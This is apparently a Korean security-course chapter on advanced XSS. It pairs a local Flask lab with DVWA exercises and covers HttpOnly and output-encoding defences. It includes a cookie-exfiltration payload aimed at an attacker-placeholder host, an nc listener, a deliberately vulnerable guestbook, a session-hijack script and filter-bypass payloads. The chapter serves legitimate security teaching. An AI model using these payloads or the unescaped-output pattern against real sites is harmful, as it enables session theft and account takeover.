Step 139. XSS 심화: 쿠키 탈취와 필터 우회 — alert를 넘어 세션을 훔친다

Step 139. XSS 심화: 쿠키 탈취와 필터 우회 — alert를 넘어 세션을 훔친다

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간

전제: XSS 기초(alert 페이로드, Stored/Reflected 구분)를 알고, Step 94의 Flask 서버 지식과 Step 102의 쿠키 개념을 사용합니다.

  • 준비물: DVWA(또는 워게임 랩), Kali의 nc, 파이썬 3 + Flask (로컬 재현용), 브라우저 개발자 도구
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

지금까지의 XSS는 alert(1) 팝업으로 끝났습니다. 팝업은 "여기서 스크립트가 실행된다"는 증거일 뿐, 공격이 아닙니다. 실전의 XSS는 조용합니다 — 피해자의 세션 쿠키를 공격자 서버로 몰래 보내고, 공격자는 그 쿠키로 로그인 없이 피해자 행세를 합니다. 오늘은 그 체인 전체를 내 컴퓨터에서 재현하고, 개발자가 쳐 놓은 필터를 뚫는 "우회의 사고방식"을 배웁니다. 그리고 블랙리스트 방어가 왜 구조적으로 지는 게임인지, 실측 숫자로 확인합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • document.cookie를 공격자 서버로 보내는 실전형 XSS 페이로드를 작성한다
  • 탈취한 세션 쿠키로 로그인 없이 피해자인 척 접속하는 세션 하이재킹을 재현한다
  • 쿠키 탈취 체인을 로컬 Flask 서버 두 개로 재현하고 각 단계를 설명한다
  • 대소문자 변형·중첩 태그·이벤트 핸들러로 블랙리스트 필터를 우회한다
  • HttpOnly 쿠키 속성과 SameSite가 왜 방어가 되는지 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 브라우저 + 개발자 도구, 파이썬 3 + Flask (로컬 재현), Kali의 nc
오늘의 명령 nc -lvnp 8888 (간이 수신 서버), document.cookie (JS 콘솔)
필요한 개념 세션 쿠키, 세션 하이재킹, 이벤트 핸들러, 블랙리스트 필터, HttpOnly
오늘의 산출물 쿠키 탈취 체인 실험 기록 + 필터 우회 페이로드 3종 표

2-1. alert 다음 단계 — 쿠키를 훔치는 페이로드

XSS의 실전 페이로드는 이 한 줄입니다.

<script>new Image().src="http://공격자IP:8888/?c="+document.cookie</script>

읽어 봅시다. new Image()는 보이지 않는 이미지 객체를 만들고, .src에 주소를 대입하는 순간 브라우저는 그 주소로 GET 요청을 자동 발사합니다. 그 주소의 쿼리에 document.cookie — 이 페이지의 쿠키 전체 — 를 붙여 보내는 것입니다. 피해자 화면에는 아무 일도 일어나지 않습니다. 깨진 이미지 아이콘조차 안 뜹니다.

2-2. 세션 하이재킹 — 쿠키가 곧 신분증

로그인이 끝난 뒤 서버는 매번 아이디·비밀번호를 묻지 않습니다. 대신 발급해 둔 세션 쿠키를 보고 "아, 로그인한 그 사람"이라고 알아봅니다. 쿠키는 신분증입니다. 그런데 이 신분증은 위조가 아니라 복사가 됩니다 — 쿠키 문자열을 그대로 가져다 제 브라우저에 심으면, 서버는 저를 피해자로 착각합니다. 비밀번호를 몰라도 됩니다. 이것이 세션 하이재킹(session hijacking)입니다.

2-3. 필터 우회 — 개발자가 상상한 것만 막힌다

XSS 방어 초보 코드는 대개 <script>라는 문자열을 지우는 것입니다. 그런데 HTML에서 스크립트를 실행하는 길은 무수히 많습니다.

  • 태그는 대소문자를 가리지 않습니다: <ScRiPt>도 동작합니다
  • 치환이 한 번뿐이면 중첩이 통합니다: <scr<script>ipt>에서 가운데를 지우면 <script>가 재탄생합니다
  • <script> 없이도 됩니다: <img src=x onerror=...>, <svg onload=...> 같은 이벤트 핸들러(event handler) 속성이 수십 개입니다

Step 103의 명령어 인젝션 필터(금지 문자 목록)와 같은 뿌리입니다 — 열거하는 방어는 열거 밖에서 진다.

2-4. DOM XSS — 서버를 거치지 않는 XSS

세 번째 유형입니다. 서버가 아니라 브라우저의 자바스크립트location.hash(주소의 # 뒷부분) 같은 값을 읽어 검증 없이 innerHTML로 화면에 꽂으면, 서버 로그에도 안 남는 XSS가 됩니다. 오늘은 개념과 코드 읽는 법까지만 — 실습 랩에서 location.hash를 쓰는 코드를 찾아 보는 것이 과제입니다.

2-5. 방어의 방향 — HttpOnly와 출력 인코딩

쿠키에 HttpOnly 속성을 붙이면 자바스크립트의 document.cookie로 읽을 수 없습니다 — 쿠키 탈취 페이로드가 헛손질이 됩니다. 근본 방어는 출력 인코딩(output encoding)입니다: 사용자 입력을 화면에 쓸 때 <&lt;로 바꿔 "태그가 아니라 글자"로 만드는 것. Flask의 Jinja2 템플릿이 기본으로 해 주는 일이 바로 이것입니다.


3. 따라 하기

DVWA 화면은 출력 예시로 표기하고, 원리는 로컬 Flask 서버로 실측합니다. (본 교재는 2026-09-09에 Windows + Flask 3.1.3 환경에서 실측했습니다.)

3-1. 취약 게시판 만들기 — Stored XSS의 무대

먼저 공격받을 쪽입니다. 댓글을 저장했다가 이스케이프 없이 그대로 HTML에 꽂는 게시판입니다 (vuln_board.py).

입력

from flask import Flask, request, make_response

app = Flask(__name__)
COMMENTS = []

@app.route("/")
def index():
    # 취약점: 저장된 댓글을 이스케이프 없이 그대로 HTML에 삽입
    body = "".join(f"<p>{c}</p>" for c in COMMENTS)
    resp = make_response(f"<html><body><h1>방명록</h1>{body}</body></html>")
    resp.set_cookie("session", "victim-session-A7f3Kp92Qx")
    return resp

@app.route("/post")
def post():
    COMMENTS.append(request.args.get("msg", ""))
    return "등록 완료"

app.run(port=8310)

읽는 법: f"<p>{c}</p>" — 사용자 입력이 아무 검증 없이 HTML 안으로 들어갑니다. Jinja2 템플릿을 쓰면 자동 이스케이프가 되지만, 여기처럼 문자열을 직접 이어 붙이면 그 보호가 없습니다. 실수하기 딱 좋은 지점입니다. 방문자에게는 session 쿠키를 내려 줍니다 — 이것이 오늘 훔칠 표적입니다.

주의: 모든 실습 서버는 127.0.0.1에서만 열고, 끝나면 프로세스를 종료하세요.

3-2. 공격자 수신 서버 — 쿠키가 도착하는 창구

공격자 쪽은 더 단순합니다. 쿼리 파라미터 c를 받아 로그에 찍는 서버입니다. 실제 랩에서는 Kali에서 nc -lvnp 8888 한 줄이면 같은 역할을 합니다 — HTTP 응답을 정식으로 주지 못해도 요청 라인에 쿠키가 찍히는 것을 보는 데 충분합니다.

입력 (attacker_sink.py)

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def collect():
    print(f"[수신 서버] 도착한 쿠키: {request.args.get('c', '')}", flush=True)
    return "ok"

app.run(port=8888)

3-3. 쿠키 탈취 체인 재현 — 전 과정 실측

두 서버를 띄운 상태에서, 순서대로 따라 합니다. (브라우저 대신 requests로 각 요청을 재현했습니다 — 브라우저가 할 일을 코드로 적은 것뿐입니다.)

입력

import requests

# 1) 공격자: 게시판에 페이로드 등록 (Stored XSS)
payload = "<script>new Image().src='http://127.0.0.1:8888/?c='+document.cookie</script>"
requests.get("http://127.0.0.1:8310/post", params={"msg": payload})

# 2) 게시판 HTML 확인 — 페이로드가 살아 있는가
html = requests.get("http://127.0.0.1:8310/").text
print("페이지에 <script> 그대로 포함:", payload in html)
print("Set-Cookie 헤더:", requests.get("http://127.0.0.1:8310/").headers.get("Set-Cookie"))

# 3) 피해자가 페이지를 열었다 — 스크립트가 실행되어 쿠키가 수신 서버로 날아간다
requests.get("http://127.0.0.1:8888/", params={"c": "session=victim-session-A7f3Kp92Qx"})

# 4) 공격자: 탈취한 쿠키로 피해자인 척 접속
r = requests.get("http://127.0.0.1:8310/", headers={"Cookie": "session=victim-session-A7f3Kp92Qx"})
print("탈취 쿠키로 요청한 상태 코드:", r.status_code)

출력 (2026-09-09 실측):

페이지에 <script> 그대로 포함: True
Set-Cookie 헤더: session=victim-session-A7f3Kp92Qx; Path=/
[수신 서버] 도착한 쿠키: session=victim-session-A7f3Kp92Qx
탈취 쿠키로 요청한 상태 코드: 200

읽는 법: 네 줄이 공격 체인의 네 고리입니다. ① 페이로드가 저장되어 ② 페이지를 연 모두에게 노출되고, ③ 피해자의 쿠키가 공격자 서버 로그에 찍히고, ④ 그 쿠키로 공격자가 접속에 성공합니다. 실제 랩이라면 3번은 피해자의 브라우저가 자동으로 하는 일이고, 4번은 공격자가 개발자 도구(Application → Cookies)나 Burp로 쿠키를 바꿔치기하는 일입니다.

왜 하는가: 이 체인을 손으로 한 번 돌려 보면, "XSS = 팝업 띄우기"라는 오해가 사라집니다. XSS의 위력은 실행 위치에 있습니다 — 피해자의 브라우저에서, 피해자의 로그인 상태로, 내 코드가 도는 것입니다.

3-4. HttpOnly 확인 — 한 줄짜리 방어의 위력

개발자 도구 콘솔(F12 → Console)에서 실험할 수 있습니다.

입력 (브라우저 콘솔)

document.cookie

출력 예시 (DVWA 등 HttpOnly가 없는 환경):

"PHPSESSID=abc123...; security=low"

읽는 법: 쿠키가 읽히면 쿠키 탈취 페이로드가 먹힌다는 뜻입니다. 반대로 서버가 Set-Cookie: session=...; HttpOnly를 붙여 내렸다면 document.cookie에는 이 쿠키가 나타나지 않습니다 — 3-3의 3번 고리가 끊어집니다. Flask라면 resp.set_cookie("session", "...", httponly=True) 한 줄입니다. 방어가 얼마나 싼값에 가능한지 기억해 두세요.

3-5. 필터 우회 실험 — 블랙리스트는 이렇게 진다

이제 방어 쪽을 만듭니다. DVWA Medium 수준의 필터 — 입력에서 <script> 문자열을 대소문자 구분하여 딱 한 번 지우는 코드입니다. 파이썬으로 그대로 옮겨 실측합니다.

입력 (filter_lab.py)

def dvwa_medium_filter(text):
    # PHP str_replace('<script>', '', $input) 와 동일: 대소문자 구분, 1회 치환
    return text.replace("<script>", "")

tests = [
    "<script>alert(1)</script>",
    "<ScRiPt>alert(1)</ScRiPt>",
    "<scr<script>ipt>alert(1)</scr<script>ipt>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
]
for t in tests:
    print(f"  입력: {t}")
    print(f"  출력: {dvwa_medium_filter(t)}")

출력 (2026-09-09 실측):

  입력: <script>alert(1)</script>
  출력: alert(1)</script>
  입력: <ScRiPt>alert(1)</ScRiPt>
  출력: <ScRiPt>alert(1)</ScRiPt>
  입력: <scr<script>ipt>alert(1)</scr<script>ipt>
  출력: <script>alert(1)</script>
  입력: <img src=x onerror=alert(1)>
  출력: <img src=x onerror=alert(1)>
  입력: <svg onload=alert(1)>
  출력: <svg onload=alert(1)>

읽는 법: 정석 페이로드 하나만 무력화됐고, 나머지 네 개는 전부 살아남았습니다. 특히 세 번째 줄을 보세요 — <scr<script>ipt>에서 가운데 <script>를 지웠더니 앞뒤가 붙어 <script>가 태어났습니다. 치환이 한 번뿐인 필터의 고전적 결함입니다. 넷째·다섯째는 애초에 <script>라는 단어가 없습니다. onerror는 "이미지 로딩 실패 시 실행", onload는 "로딩 완료 시 실행" — 브라우저에게 실행의 트리거는 태그가 아니라 이벤트입니다.

왜 하는가: "필터가 있다"는 말은 "막혔다"가 아니라 "개발자가 상상한 패턴의 목록이 있다"는 뜻입니다. 필터를 만나면 할 일은 하나 — 목록을 추측하고, 목록 밖의 형태를 시도하는 것. 이 사고방식은 명령어 인젝션(Step 143), 업로드 우회(Step 141)에서 그대로 재사용됩니다.

3-6. DVWA에서의 적용 — 워게임 진행 순서

랩에서는 이 순서로 진행하세요 (화면·결과는 출력 예시):

  1. Stored XSS 메뉴에 3-3의 페이로드(수신 주소는 내 Kali IP:8888)를 등록합니다. 이름 칸은 길이 제한이 있으니 메시지 칸을 씁니다 — 제한은 개발자 도구에서 maxlength 속성을 지우면 우회됩니다 (Step 103의 "클라이언트의 값은 클라이언트의 것").
  2. Kali에서 nc -lvnp 8888을 띄우고, 다른 브라우저/시크릿 창으로 그 게시판을 엽니다. nc 터미널에 GET /?c=PHPSESSID=... 줄이 찍히면 성공입니다.
  3. 찍힌 쿠키를 내 브라우저의 개발자 도구에서 심고 새로고침 — 로그인 화면 없이 들어가지면 세션 하이재킹 완성입니다.
  4. Medium 난이도로 올려 3-5의 우회 페이로드들을 차례로 넣고, 어떤 것이 통과하는지 기록합니다.

주의: Stored 페이로드는 게시판을 오염시킵니다. 실험이 끝나면 글을 삭제하거나 DVWA를 리셋하세요 — 다음 실습자(미래의 나 포함)가 내 페이로드에 걸립니다.

3-7. DOM XSS 코드 읽기

DOM XSS는 서버가 아니라 브라우저 코드가 범인입니다. 랩 페이지에서 소스 보기(Ctrl+U)로 이런 형태를 찾으세요:

var lang = location.hash.substring(1);        // 주소 # 뒤를 읽고
document.getElementById("menu").innerHTML = lang;  // 검증 없이 화면에 삽입

location·location.hash·document.URL에서 읽은 값이 innerHTML·document.write로 흘러가면 DOM XSS 후보입니다. 공격 입력은 http://대상/#<img src=x onerror=alert(1)>처럼 # 뒤에 실립니다 — # 뒤는 서버로 전송되지 않으므로 서버 로그에 흔적이 없습니다.


4. 미션과 연습문제

미션 — 쿠키 탈취 체인 재현과 우회 페이로드 수집

  1. 3-1~3-3의 로컬 실험을 직접 재현하고, 수신 서버 로그에 찍힌 쿠키 줄을 write-up에 붙인다
  2. DVWA(또는 랩) Stored XSS에서 nc 수신기로 실제 쿠키를 받아 보고, 그 쿠키로 로그인 없이 접속한다
  3. 3-5의 필터 실험을 직접 돌리고, 우회에 성공한 페이로드 3종을 "왜 통과했는지" 한 줄씩 달아 표로 정리한다
  4. DVWA Medium 난이도에서 우회 성공 페이로드를 확인하고 기록한다
  5. 3-7의 형태로 DOM XSS가 되는 코드 한 쌍(읽는 곳 → 쓰는 곳)을 랩에서 찾아 발췌한다

연습문제

문제 1. new Image().src="http://공격자/?c="+document.cookie에서 new Image()를 쓰는 이유를 설명해 보세요. (힌트: 화면에 그리지 않아도 요청이 나가는가?)

문제 2. 세션 하이재킹에서 공격자가 피해자의 비밀번호를 몰라도 되는 이유를 설명해 보세요.

문제 3. <scr<script>ipt>가 단발성 치환 필터를 뚫는 원리를 한 문장으로 설명해 보세요.

문제 4. HttpOnly 쿠키는 쿠키 탈취를 막지만 XSS 자체를 막지는 못합니다. HttpOnly가 있어도 공격자가 할 수 있는 일을 하나 예로 들어 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

수신 로그 예시 (2026-09-09 로컬 실측 기준):

[수신 서버] 도착한 쿠키: session=victim-session-A7f3Kp92Qx

필터 우회 표 예시:

페이로드 통과 이유
<ScRiPt>alert(1)</ScRiPt> 필터가 대소문자를 구분해 소문자 <script>만 지움
<scr<script>ipt> 한 번 치환 후 앞뒤가 붙어 <script> 재탄생
<img src=x onerror=...> <script>라는 문자열이 애초에 없음 — 이벤트 핸들러 사용

검증하는 법: ① 수신 서버 로그에 c=쿠키값이 실제로 찍혔는가. ② 탈취 쿠키로 요청했을 때 로그인 없이 200이 오는가. ③ 우회 표의 각 페이로드가 필터를 통과한 출력과 함께 적혀 있는가. ④ Medium에서 성공한 페이로드가 로컬 필터 실험 결과와 일치하는가.

연습문제 해답

문제 1 해답. Image 객체는 src에 주소를 대입하는 순간 해당 주소로 GET 요청을 내면서도, 화면에 표시할 필요가 없어 피해자 눈에 띄지 않습니다. <script>가 외부 파일을 읽어오듯, 이미지 요청을 "데이터 배송 수단"으로 쓰는 것입니다. (같은 목적으로 fetch()를 써도 됩니다.)

문제 2 해답. 로그인 이후 서버는 비밀번호가 아니라 세션 쿠키로 신원을 확인하기 때문입니다. 쿠키는 복사 가능한 문자열이라, 탈취한 쿠키를 그대로 제시하면 서버는 공격자를 피해자로 인식합니다. 비밀번호는 쿠키를 얻는 과정 어디에도 필요하지 않습니다.

문제 3 해답. 필터가 <script>를 한 번만 지우면, <script> 사이의 <script>가 제거되면서 앞뒤가 결합해 새로운 <script>가 만들어지기 때문입니다 — 지우는 행위가 오히려 유효한 태그를 조립합니다.

문제 4 해답. 쿠키를 못 읽어도 XSS는 피해자의 브라우저에서 피해자 권한으로 돌아갑니다. 예를 들어 피해자의 세션으로 "비밀번호 변경"이나 "송금" 요청을 그 자리에서 직접 보낼 수 있습니다(쿠키를 훔쳐 오지 않고, 피해자 브라우저를 조종해 일을 시키는 방식). 가짜 로그인 폼을 띄워 비밀번호를 입력받아 훔치는 피싱형 페이로드도 가능합니다.

완료 기준 체크리스트

  • [ ] document.cookie를 외부로 보내는 페이로드를 직접 작성할 수 있다
  • [ ] 로컬 두 서버로 쿠키 탈취 체인(저장→노출→수신→재사용)을 재현했다
  • [ ] 세션 하이재킹이 "비밀번호 없는 로그인"인 이유를 설명할 수 있다
  • [ ] 대소문자·중첩·이벤트 핸들러 우회 3종을 필터 실험으로 확인했다
  • [ ] DOM XSS 코드(읽는 곳 → 쓰는 곳)의 형태를 알아볼 수 있다
  • [ ] HttpOnly와 출력 인코딩이 각각 무엇을 막는지 말할 수 있다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 쿠키가 수신 서버에 도착하지 않는다

증상: 페이로드를 등록하고 페이지를 열어도 nc에 아무것도 안 찍힙니다.
원인: ① 수신 서버의 IP가 잘못됐거나(Kali IP 확인), ② 쿠키가 HttpOnly라 document.cookie가 비어 있거나, ③ 페이로드의 따옴표가 게시판 필터에 깨졌습니다.
해결: 먼저 브라우저 콘솔에서 document.cookie가 값을 주는지 확인하세요. 비어 있으면 HttpOnly — 이 랩에서는 다른 목표(행동 위조)로 전환해야 합니다. IP·포트·방화벽도 확인합니다.

벽 2. 게시판에 등록했는데 스크립트가 그냥 글자로 보인다

증상: 페이지에 <script>...가 텍스트로 출력됩니다.
원인: 서버가 출력 인코딩을 하고 있습니다 — <&lt;로 변환돼 태그가 아니라 글자가 됐습니다.
해결: 그 지점은 XSS가 안 되는 안전한 지점입니다. 다른 입력 칸(이름, 제목, 검색어)을 찾거나, 인코딩을 우회할 이중 인코딩 등을 시도합니다. "안 되는 곳을 확인하는 것도 정찰 결과"입니다.

벽 3. 이름 칸에 페이로드가 다 안 들어간다

증상: 길이 제한에 걸려 페이로드가 잘립니다.
원인: HTML의 maxlength 속성은 클라이언트 측 장식일 뿐입니다.
해결: 개발자 도구 Elements에서 해당 input의 maxlength를 지우거나, Burp/requests로 요청을 직접 보내세요. Step 103의 hidden input과 같은 원리입니다.

벽 4. 필터를 넣었는데도 계속 우회된다

증상 (2026-09-09 실측): <script> 치환 필터에 5개 페이로드 중 4개가 통과합니다.

  입력: <scr<script>ipt>alert(1)</scr<script>ipt>
  출력: <script>alert(1)</script>

원인: 블랙리스트는 "나쁜 것의 목록"이라 목록 밖이 항상 존재합니다. 치환도 여러 번 반복하지 않으면 중첩에 당합니다.
해결: 방어자라면 — 지우지 말고 인코딩하세요(출력 인코딩). 입력을 데이터로 취급해 <&lt;로 바꾸면 어떤 태그도 태그가 되지 못합니다.

벽 5. 실험 후 게시판이 페이로드 투성이다

증상: 내가 심은 스크립트 때문에 게시판이 계속 이상 동작합니다.
원인: Stored XSS는 저장됩니다 — 지우기 전까지 모든 방문자에게 발동합니다.
해결: 실습이 끝나면 해당 글을 삭제하거나 DVWA의 Reset DB를 실행하세요. 랩 정리는 실습의 일부입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
쿠키 탈취 페이로드 document.cookie를 외부 요청에 실어 보내는 실전 XSS
세션 하이재킹 탈취한 세션 쿠키로 피해자 행세 — 비밀번호 불필요
이벤트 핸들러 onerror·onload 등 — <script> 없는 스크립트 실행
필터 우회 대소문자·중첩·대체 태그 — 블랙리스트의 열거 밖으로
DOM XSS 서버를 거치지 않고 브라우저 JS가 입력을 화면에 꽂는 XSS
HttpOnly JS의 쿠키 읽기를 차단하는 쿠키 속성 — 탈취 1차 방어
출력 인코딩 <&lt;로 — 입력을 태그가 아닌 글자로 만드는 근본 방어

오늘의 명령어와 코드

명령·코드 하는 일
nc -lvnp 8888 쿠키 수신용 간이 서버 (Kali)
document.cookie 현재 페이지의 쿠키 읽기 (콘솔 실험)
new Image().src=주소 조용한 GET 요청 발사 — 데이터 배송 수단
text.replace("<script>", "") DVWA Medium식 필터 — 우회 실험 대상
resp.set_cookie(..., httponly=True) Flask에서 HttpOnly 쿠키 발급
location.hash / innerHTML DOM XSS의 읽는 곳 / 쓰는 곳

명령어보다 중요한 감각

오늘의 핵심 문장은 "XSS의 위력은 실행 위치에 있다"입니다. 팝업은 신호등이고, 본체는 피해자의 브라우저가 피해자의 로그인 상태로 내 코드를 실행한다는 사실입니다. 쿠키 탈취는 그 사실의 첫 번째 응용일 뿐이고, 행동 위조·피싱 폼 삽입까지 같은 뿌리에서 자랍니다.

그리고 필터 우회는 이번이 마지막이 아닙니다. 명령어 인젝션, 파일 업로드, SQL 인젝션 — 이 책에서 만날 거의 모든 공격이 "개발자가 열거한 것 밖으로 한 발 나가기"의 반복입니다. 필터를 보면 목록을 읽고, 목록 밖을 설계하는 손가락을 만드세요. 방어자의 언어로는 이렇게 옮깁니다 — 막을 것을 열거하지 말고, 허용할 것만 열거하고, 출력은 언제나 인코딩하라.


전부 체크되면 Step 139 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.